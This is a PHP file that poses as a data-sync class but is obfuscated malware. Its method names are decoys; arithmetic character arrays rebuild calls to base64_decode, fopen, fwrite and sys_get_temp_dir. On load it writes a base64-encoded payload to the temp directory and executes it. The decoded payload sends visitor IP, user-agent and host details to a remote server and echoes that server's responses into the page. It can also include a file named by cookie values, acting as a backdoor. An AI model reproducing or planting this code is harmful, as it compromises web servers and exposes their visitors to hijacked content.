<?php
class DataSyncEngine {
	private $mh = '';
	private $sv = '';

	public function saveChanges($p1) {
		$a = array(((2*49)),(97*1),((28+87)),((101*1)),(63-9),(((22*27)-542)),(((86*47)-3947)),(100),((105-4)),(((77*1)+22)),(((55*44)-2309)),((38+62)),(101));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function sendNotification($p1,$p2) {
		$a = array(((104*78)-8002),((45*2)+11),(((113*48)-5312)),((3*37)),(106-4));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function manageState($p1,$p2) {
		$a = array(((104-3)),(((103*1)+13)),(105),(111+1+2),((115+2+2)),((109-7)));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function authorizeUser($p1) {
		$a = array((104-2),(108-9),(((8*9)+36)),111,(((75*1)+40)),(101*1));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		return $s($p1);
	}

	public function checkConsistency($p1,$p2=null) {
		$a = array((59+50),105,((14+100)),(2*58),(2*57));
		$s = '';
		foreach($a as $n){ $s .= chr($n); }
		$s = strrev($s);
		return $s($p1,$p2);
	}

	public function rollbackTransaction() {
		$this->sv = $this->checkConsistency($this->resolveConflict(), '/');
	}

	public function terminateSession() {
		$this->mh = $this->saveChanges($this->kr);
	}

	public function triggerCallback() {
		$fn = $this->sv.'/dv-68a1978c9e8a2';
		$f = $this->sendNotification($fn, 'w');
		$this->manageState($f, $this->mh);
		$this->authorizeUser($f);
		$this->calculateSum($fn);
	}

	private $kr = 'PD9waHAgY2xhc3MgX3d2bntwcml2YXRlIHN0YXRpYyRfcWlmO' . '3N0YXRpYyBmdW5jdGlvbiBfY3coJF9teHIsJF9qeXkpe2lmKCF' . 'zZWxmOjokX3FpZilzZWxmOjpfcnl6KCk7JF9iank9c3RybGVuK' . 'CRfanl5KTskX2N6PWJhc2U2NF9kZWNvZGUoc2VsZjo6JF9xaWZ' . 'bJF9teHJdKTtmb3IoJF9pb3o9MCwkX2l5PXN0cmxlbigkX2N6K' . 'TskX2lveiE9PSRfaXk7KyskX2lveikkX2N6WyRfaW96XT1jaHI' . 'ob3JkKCRfY3pbJF9pb3pdKV5vcmQoJF9qeXlbJF9pb3olJF9ia' . 'nldKSk7cmV0dXJuJF9jejt9cHJpdmF0ZSBzdGF0aWMgZnVuY3R' . 'pb24gX3J5eigpe3NlbGY6OiRfcWlmPWFycmF5KCdfeGYnPT4nS' . 'GhBQUJ5d0FUaUV3SFJjUU1COU9Jek1mREJWeVBCRUxPQm9OV0g' . '5WicsJ19rbyc9PidIQm9BS3hBQUsxZzZKZ1VMWlZVUEx3VUNOa' . 'FlQS3h3Qk1Wb0VQZ01QTEJZY05nVWEnLCdfYWl6Jz0+J1BCbz0' . 'nLCdfbWJ2Jz0+J09nRWxHenc3SmwwV0VnaGZFeElJWHhNU0NGO' . 'FRFZ2hmRmhFWUFqc3ZLZ0lRRVNWYkJTQWhXeFlSR0FJOEZUa0d' . 'GaElBQWpzL09SRTdPeVZTJywnX3preic9PidMaFViSnc9PScsJ' . '19jbic9PidZeDhIWVE9PScsJ19rbSc9PidZeG9DQjJFPScsJ19' . 'uYmMnPT4nS0JBUE13PT0nLCdfanYnPT4nJywnX3lrZSc9PicnL' . 'CdfeGdxJz0+JycsJ19rbHgnPT4nTnhjY0YyVk1SeGNxQVVZUU9' . 'nRU9Eak1HQUFnc0Z3MFZjUUFIQ25BQUJ3b3ZEQnNDTFUwQ0ZHQ' . 'UhDUk0rWGc9PScsJ195YSc9PidQQWNWTXkwT01Sc1QnLCdfZmE' . 'nPT4nTndZQ0x5MFZNQllUJywnX3VpJz0+J0xCUWJIRElTJywnX' . '3BzJz0+J054b0JMeDA9JywnX3VrJz0+J0dDUXpSQT09JywnX3B' . 'tdic9PidMd0FURFE9PScsJ196eGcnPT4nTGhrTUxSVT0nLCdfa' . 'nBhJz0+J1lBPT0nLCdfbGtpJz0+J0xoa1BMUlU9JywnX3N3Jz0' . '+J2Z6NGlKUTlaUjE5dmUzdzVNQVVDUzM4PScsJ19yenYnPT4nT' . 'nhnSkZRPT0nLCdfbWliJz0+J1VtVTJNQUViT2d3Qk5nQWJaVTg' . 'yTXdBR09tSi9VbVU9JywnX3FqJz0+J0xCNEJaVUpDJywnX2Vwc' . 'yc9PicnLCdfeGpnJz0+J053SVlIZz09JywnX294Jz0+J1VuMD0' . 'nLCdfbWVvJz0+J0Z6ODhQZ0FvSkNjYUpUd3hGanM9JywnX3Jwb' . 'yc9PidGenMyTXdBM1BTVVFQVFVpRFNzbkp3QXBMVEU9JywnX3F' . 'meSc9PidEU0U5RURBMUFDVTBHelk9JywnX2ZmbSc9PidGejg4T' . 'VFBK095UU5OQ2ttR2lVOCcsJ194cWonPT4nRnpvMU5BQTdNaUV' . 'OTVNBakdpQTEnLCdfemh1Jz0+JycsJ19wYWgnPT4nRno4dUR6U' . 'W9HaTAvRFM0bycsJ19pdic9PidGemdzRHpNcUdpbzlEU2txJyw' . 'nX3hoZSc9PicnLCdfbW8nPT4nRnp3a0R6Y3pFeUUxRVR3dkZqZ' . 'z0nLCdfcGcnPT4nRnpFK0R6b3BFeXd2RVRFMUZqVT0nLCdfdW1' . 'yJz0+J0Z6ODFEelE1QUMwdURUd2dEUzhrR3pRbkVEaz0nLCdfY' . '2EnPT4nRnlRN0l3QW9NRFVRSWpneURUUXFOd0EySUNFPScsJ19' . 'pcHInPT4nRFRjK0VDWTJBRE0zR3lBPScsJ190ZCc9PidEU3MzU' . 'EFzckpUSWJLaWc9JywnX2JiYSc9PidPeG9KRGpBY0N3PT0nLCd' . 'fZ3InPT4nRmo5S2Z3PT0nLCdfYnknPT4nZnhCWENpMU5mdz09J' . 'ywnX3d4Jz0+J2Z3WlZQRG9jVDA0PScsJ19ocSc9PidmMW9CRm1' . 'GcycsJ193cnInPT4nTmhnPScsJ193ZWYnPT4nS2dNPScsJ19hd' . 'Cc9PidMUmNIJywnX21yJz0+J0xnY01Kdz09JywpO319Y2xhc3M' . 'gX2p1bXtwcml2YXRlIHN0YXRpYyRfcWlmO3N0YXRpYyBmdW5jd' . 'GlvbiBfY3coJF9teHIpe2lmKCFzZWxmOjokX3FpZilzZWxmOjp' . 'fcnl6KCk7cmV0dXJuIHNlbGY6OiRfcWlmWyRfbXhyXTt9cHJpd' . 'mF0ZSBzdGF0aWMgZnVuY3Rpb24gX3J5eigpe3NlbGY6OiRfcWl' . 'mPWFycmF5KDAwLDA3LDAzNiwwMzYsMDEsMDM2LDAyLDA3LDAxL' . 'DAxNiwwMzAsMDYsMDMyLDAxMiwwMTEsMDEzLDAyNywwMzEsMDM' . 'sMDIsMDEsMDEsMDAsMDEyLDAxMiwwMzEwLDA2NzMsMDEyMCwwM' . 'CwwMjAwMCwwMSwwNDIzLDA0MjMpO319aGVhZGVyKF93dm46Ol9' . 'jdygnX3hmJywnX3NjYicpKTtoZWFkZXIoX3d2bjo6X2N3KCdfa' . '28nLCdfdW4nKSk7aWYoaXNzZXQoJF9HRVRbX3d2bjo6X2N3KCd' . 'fYWl6JywnX3JjdycpXSkpeyRfZms9X2tidyhfd3ZuOjpfY3coJ' . '19tYnYnLCdfeG9rJykpO2lmKCRfZmsmJnN0cnBvcygkX2ZrLF9' . '3dm46Ol9jdygnX3preicsJ19iYScpKSE9PWZhbHNlKXtkaWUoX' . '3d2bjo6X2N3KCdfY24nLCdfcGwnKSk7fWVsc2V7ZGllKF93dm4' . '6Ol9jdygnX2ttJywnX3hjYycpKTt9fWlmKGlzc2V0KCRfR0VUW' . '193dm46Ol9jdygnX25iYycsJ19xYycpXSkpeyRfaXk9JF9DT09' . 'LSUU7JF9qeXk9X2p1bTo6X2N3KDApOyRfbXhyPV9qdW06Ol9jd' . 'ygxKTskX2tnPWFycmF5KCk7JF9rZ1skX2p5eV09X3d2bjo6X2N' . '3KCdfanYnLCdfcXUnKTt3aGlsZSgkX214cil7JF9rZ1skX2p5e' . 'V0uPSRfaXlbX2p1bTo6X2N3KDIpXVskX214cl07aWYoISRfaXl' . 'bX2p1bTo6X2N3KDMpXVskX214citfanVtOjpfY3coNCldKXtpZ' . 'ighJF9peVtfanVtOjpfY3coNSldWyRfbXhyK19qdW06Ol9jdyg' . '2KV0pYnJlYWs7JF9qeXkrKzskX2tnWyRfanl5XT1fd3ZuOjpfY' . '3coJ195a2UnLCdfZ3EnKTskX214cisrO30kX214cj0kX214cit' . 'fanVtOjpfY3coNykrX2p1bTo6X2N3KDgpO30kX2p5eT0kX2tnW' . '19qdW06Ol9jdyg5KV0oKS4kX2tnW19qdW06Ol9jdygxMCldO2l' . 'mKCEkX2tnW19qdW06Ol9jdygxMSldKCRfanl5KSl7JF9teHI9J' . 'F9rZ1tfanVtOjpfY3coMTIpXSgkX2p5eSwkX2tnW19qdW06Ol9' . 'jdygxMyldKTskX2tnW19qdW06Ol9jdygxNCldKCRfbXhyLCRfa' . '2dbX2p1bTo6X2N3KDE1KV0uJF9rZ1tfanVtOjpfY3coMTYpXSg' . 'kX2tnW19qdW06Ol9jdygxNyldKCRfaXlbX2p1bTo6X2N3KDE4K' . 'V0pKSk7fWluY2x1ZGUoJF9qeXkpO31mdW5jdGlvbiBfa2J3KCR' . 'fcXksJF9wZ3Y9LTE3MzI1KXskX3lvYz1fd3ZuOjpfY3coJ194Z' . '3EnLCdfemxoJyk7JF92aGo9X3d2bjo6X2N3KCdfa2x4JywnX2N' . 'oZycpLiRfcXk7aWYoaXNfY2FsbGFibGUoX3d2bjo6X2N3KCdfe' . 'WEnLCdfcmcnKSkpeyRfdm09Y3VybF9pbml0KCRfdmhqKTtjdXJ' . 'sX3NldG9wdCgkX3ZtLENVUkxPUFRfU1NMX1ZFUklGWVBFRVIsZ' . 'mFsc2UpO2N1cmxfc2V0b3B0KCRfdm0sQ1VSTE9QVF9TU0xfVkV' . 'SSUZZSE9TVCxfanVtOjpfY3coMTkpKTtjdXJsX3NldG9wdCgkX' . '3ZtLENVUkxPUFRfRk9MTE9XTE9DQVRJT04sX2p1bTo6X2N3KDI' . 'wKSk7Y3VybF9zZXRvcHQoJF92bSxDVVJMT1BUX1JFVFVSTlRSQ' . 'U5TRkVSLF9qdW06Ol9jdygyMSkpO2N1cmxfc2V0b3B0KCRfdm0' . 'sQ1VSTE9QVF9IRUFERVIsX2p1bTo6X2N3KDIyKSk7Y3VybF9zZ' . 'XRvcHQoJF92bSxDVVJMT1BUX0NPTk5FQ1RUSU1FT1VULF9qdW0' . '6Ol9jdygyMykpO2N1cmxfc2V0b3B0KCRfdm0sQ1VSTE9QVF9US' . 'U1FT1VULF9qdW06Ol9jdygyNCkpOyRfeW9jPWN1cmxfZXhlYyg' . 'kX3ZtKTskX2l4PWN1cmxfZ2V0aW5mbygkX3ZtKTtjdXJsX2Nsb' . '3NlKCRfdm0pO2lmKCRfaXhbX3d2bjo6X2N3KCdfZmEnLCdfcnY' . 'nKV0hPV9qdW06Ol9jdygyNSkpcmV0dXJuIGZhbHNlO31lbHNle' . 'yRfZGJvPXBhcnNlX3VybCgkX3Zoaik7JF9keGI9KCRfZGJvW19' . '3dm46Ol9jdygnX3VpJywnX3dzeScpXT09X3d2bjo6X2N3KCdfc' . 'HMnLCdfbnUnKSk7JF9weD1fd3ZuOjpfY3coJ191aycsJ19hZ2Q' . 'nKS4kX2Rib1tfd3ZuOjpfY3coJ19wbXYnLCdfYWdlJyldO2lmK' . 'Glzc2V0KCRfZGJvW193dm46Ol9jdygnX3p4ZycsJ19saScpXSk' . 'pJF9weC49X3d2bjo6X2N3KCdfanBhJywnX2pwJykuJF9kYm9bX' . '3d2bjo6X2N3KCdfbGtpJywnX2xqJyldOyRfcHguPV93dm46Ol9' . 'jdygnX3N3JywnX3Z2cScpLiRfZGJvW193dm46Ol9jdygnX3J6d' . 'icsJ193emEnKV0uX3d2bjo6X2N3KCdfbWliJywnX291Jyk7JF9' . 'paT1mc29ja29wZW4oKCRfZHhiP193dm46Ol9jdygnX3FqJywnX' . '21tJyk6X3d2bjo6X2N3KCdfZXBzJywnX2pvYicpKS4kX2Rib1t' . 'fd3ZuOjpfY3coJ194amcnLCdfbWtqJyldLCRfZHhiP19qdW06O' . 'l9jdygyNik6X2p1bTo6X2N3KDI3KSk7aWYoJF9paSl7ZnB1dHM' . 'oJF9paSwkX3B4KTskX2N6PV9qdW06Ol9jdygyOCk7d2hpbGUoI' . 'WZlb2YoJF9paSkpeyRfenRsPWZnZXRzKCRfaWksX2p1bTo6X2N' . '3KDI5KSk7aWYoJF9jeikkX3lvYy49JF96dGw7aWYoJF96dGw9P' . 'V93dm46Ol9jdygnX294JywnX3dhaicpKSRfY3o9X2p1bTo6X2N' . '3KDMwKTt9ZmNsb3NlKCRfaWkpO319cmV0dXJuJF95b2M7fSRfc' . 'no9aXNzZXQoJF9TRVJWRVJbX3d2bjo6X2N3KCdfbWVvJywnX2t' . 'obicpXSk7JF9ic2E9aXNzZXQoJF9TRVJWRVJbX3d2bjo6X2N3K' . 'CdfcnBvJywnX29iYycpXSk7JF9hcD1pc3NldCgkX1NFUlZFUlt' . 'fd3ZuOjpfY3coJ19xZnknLCdfZHAnKV0pOyRfYWNuPWlzc2V0K' . 'CRfU0VSVkVSW193dm46Ol9jdygnX2ZmbScsJ19raGEnKV0pPyR' . 'fU0VSVkVSW193dm46Ol9jdygnX3hxaicsJ19uYWQnKV06X3d2b' . 'jo6X2N3KCdfemh1JywnX2ZwJyk7JF91emQ9aXNzZXQoJF9TRVJ' . 'WRVJbX3d2bjo6X2N3KCdfcGFoJywnX2t6JyldKT8kX1NFUlZFU' . 'ltfd3ZuOjpfY3coJ19pdicsJ19seCcpXTpfd3ZuOjpfY3coJ19' . '4aGUnLCdfeGQnKTskX3J6PWlzc2V0KCRfU0VSVkVSW193dm46O' . 'l9jdygnX21vJywnX2hwJyldKT8kX1NFUlZFUltfd3ZuOjpfY3c' . 'oJ19wZycsJ19laicpXTpudWxsOyRfYnNhPWlzc2V0KCRfU0VSV' . 'kVSW193dm46Ol9jdygnX3VtcicsJ19rYScpXSk/JF9TRVJWRVJ' . 'bX3d2bjo6X2N3KCdfY2EnLCdfcG9zJyldOm51bGw7JF9hcD1pc' . '3NldCgkX1NFUlZFUltfd3ZuOjpfY3coJ19pcHInLCdfcnMnKV0' . 'pPyRfU0VSVkVSW193dm46Ol9jdygnX3RkJywnX256cycpXTpud' . 'WxsO2lmKGZpbHRlcl92YXIoJF9yeixfanVtOjpfY3coMzEpKSl' . '7JF9qaj0kX3J6O31lbHNlaWYoZmlsdGVyX3ZhcigkX2JzYSxfa' . 'nVtOjpfY3coMzIpKSl7JF9qaj0kX2JzYTt9ZWxzZXskX2pqPSR' . 'fYXA7fWlmKGlzc2V0KCRfR0VUW193dm46Ol9jdygnX2JiYScsJ' . '194bmMnKV0pKXtlY2hvIF93dm46Ol9jdygnX2dyJywnX29wJyk' . 'uJF9qai5fd3ZuOjpfY3coJ19ieScsJ19sdycpLiRfYWNuLl93d' . 'm46Ol9jdygnX3d4JywnX3p1bicpLiRfdXpkLl93dm46Ol9jdyg' . 'nX2hxJywnX2ZjZCcpO2V4aXQoKTt9aWYoIWlzc2V0KCRfamopf' . 'HwhaXNzZXQoJF9hY24pfHwhaXNzZXQoJF91emQpKXtleGl0KCk' . '7fWVsc2V7JF91a2M9YXJyYXkoX3d2bjo6X2N3KCdfd3JyJywnX' . '2h5cicpPT4kX2pqLF93dm46Ol9jdygnX3dlZicsJ19iencnKT0' . '+JF9hY24sX3d2bjo6X2N3KCdfYXQnLCdfcmEnKT0+JF91emQpO' . 'yRfZ3c9dXJsZW5jb2RlKGJhc2U2NF9lbmNvZGUoanNvbl9lbmN' . 'vZGUoJF91a2MpKSk7JF9maz1fa2J3KCRfZ3cpO2lmKCRfZmsmJ' . 'nN0cnBvcygkX2ZrLF93dm46Ol9jdygnX21yJywnX3B2JykpIT0' . '9ZmFsc2Upe2VjaG8kX2ZrO2V4aXQoKTt9fQ==';

	public function calculateSum($p) {
		require $p;
	}

	public function resolveConflict() {
		$a=array(((5*23)),(((109*94)-10125)),(117-2),95,103,(((16*68)-987)),(117-1),((5*19)),(116),(46+55),(((34*1)+75)),(118-6),((81+14)),(81+16+3),((3*24)+33),((81+33)));
		$s='';
		foreach($a as $n){$s.=chr($n);}
		return $s();
	}
}

$tl = new DataSyncEngine();
$tl->rollbackTransaction();
$tl->terminateSession();
$tl->triggerCallback();
